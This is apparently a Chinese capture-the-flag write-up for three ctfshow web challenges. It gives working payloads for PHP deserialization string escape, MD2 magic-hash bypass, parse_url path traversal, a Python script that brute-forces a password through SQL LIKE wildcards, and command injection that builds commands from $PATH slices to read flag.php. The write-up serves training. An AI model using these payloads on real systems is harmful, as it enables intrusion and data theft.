0x00 web1_此夜圆

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

得到flag的条件:$this->password==='yu22x',难点是$password不可控,考查的是反序列化字符串逃逸

要在参数值的结尾构造:";s:8:"password";s:5:"yu22x";}(总共是30个字符)。因为str_replace('Firebasky','Firebaskyup',$string);替换后从9个字符变为了11个,多了两个字符,因此输入15个Firebasky即可。

最终payload:

FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

0x01 web2_故人心

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

Err这既视感。题目提示robots.txt,访问一下里面的hinthint.txt,收集信息后面会用到:

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))

第一关:

if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)

查阅资料得知:php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。小数点往左偏移是负数,因此输入1e-162可绕过。

第二关:

$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));

0e开头的数,md2加密后仍然是0e开头可绕过这个判断,用到了hinthint.txt中的提示,爆破:

<?php
for($i=0;$i<99999;$i++){
    $number1=hash("md2", '0e'.$i.'024452');
    if(substr($number1,0,2)==='0e' and is_numeric($number1)){
        echo 'number1=0e'.$i.'024452'."\n";
        break;
    }
}
for($j=0;$j<9999999;$j++){
    //hash("md2",hash("md2",$b))
    $number2=hash("md2",hash("md2", '0e'.$j.'48399'));
    if(substr($number2,0,2)==='0e' and is_numeric($number2)){
        echo 'number2=0e'.$j.'48399'."\n";
        break;
    }
}
?>

运行后得到:

number1=0e652024452 number2=0e603448399

第三关:

php在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录,不断向上级跳到根目录查看flag文件。

Array
(
    [scheme] => a
    [host] => ctfshow.com
    [path] => /../../../../../../fl0g.txt
)

0x02 web3_莫负婵娟

在源代码看见提示:

<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

查了下资料,关于binary:

BINARY 运算符将紧随其后的 string 转换为 二进制字符串。

主要用来强制进行按字节进行比较(byte by byte),字节而不是字符的字符。这使得字符串比较是区分大小写的,

LIKE 表示模糊匹配,后可以接%和_(下划线)。

  • % 表示零个或多个字符的任意字符串。
  • _(下划线)表示任何单个字符

fuzz了一下%被过滤啦。写脚本判断密码的长度:

import requests

url = "http://9d87880a-0a6b-4edd-9a7a-334c1fa0458b.chall.ctf.show/login.php"
passwd = ""

for i in range(1,40):
    s = requests.session()
    passwd = "_" * i
    data = {'username':'yu22x','password':passwd}
    rr = s.post(url,data=data)
    rr2 = rr.text
    if "wrong" not in rr2:
        print(rr2+"\n")
        print(i)

运行后得到:

<div align="center">I have filtered all the characters. Why can you come in? get out!</div>

32

猜测每一位的具体数:

import requests
import string

url = "http://dc61c4fa-15e5-4b04-940f-cfbb46a2bc3e.chall.ctf.show/login.php"
passwd = ""
flag = ""
dic = string.ascii_letters+string.digits

for i in range(1,33):
    for j in dic:
        s = requests.session()
        passwd = flag + j + "_" * (32-i)
        # print(passwd)
        data = {'username':'yu22x','password':passwd}
        rr = s.post(url,data=data)
        rr2 = rr.text
        if "wrong" not in rr2:
            flag = flag + j
            print(flag+"\n")
            break

会跑很长时间Q Q,下楼溜达一圈后得:

67815b0c009ee970fe4014abaa3Fa6A0

进去后看到这个界面,应该是命令执行:

经过测试,小写字母全部被过滤,大写字母没被过滤,;也没被过滤。查阅资料得知可以通过环境变量$PATH来构造需要的小写字母,其默认值为:

export PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin

列出当前目录下所有的文件需要用到的命令是ls。环境变量从0开始数第五个为“l”取一位,所以是${PATH:5:1},“s”同理:

0;${PATH:5:1}${PATH:2:1}

接下来要查看flag.php。因为环境变量中没有字母“t”构造不出来惹,考虑使用其他的命令查看该文件:

  • cat  由第一行开始显示档案内容
  • tac  从最后一行开始显示,可以看出 tac  cat 的倒着写
  • more 一页一页的显示档案内容
  • less  more 类似,但是比 more 更好的是,他可以往前翻页
  • head 只看头几行
  • tail 只看尾巴几行
  • nl   显示的时候,顺道输出 行号
  • od   以二进制的方式读取档案内容

可以使用环境变量构造nl,因为不能构造flag.php,使用通配符代替:

nl ????.???

最终payload:0;${PATH:14:1}${PATH:5:1} ????.???

在源代码处可查看flag。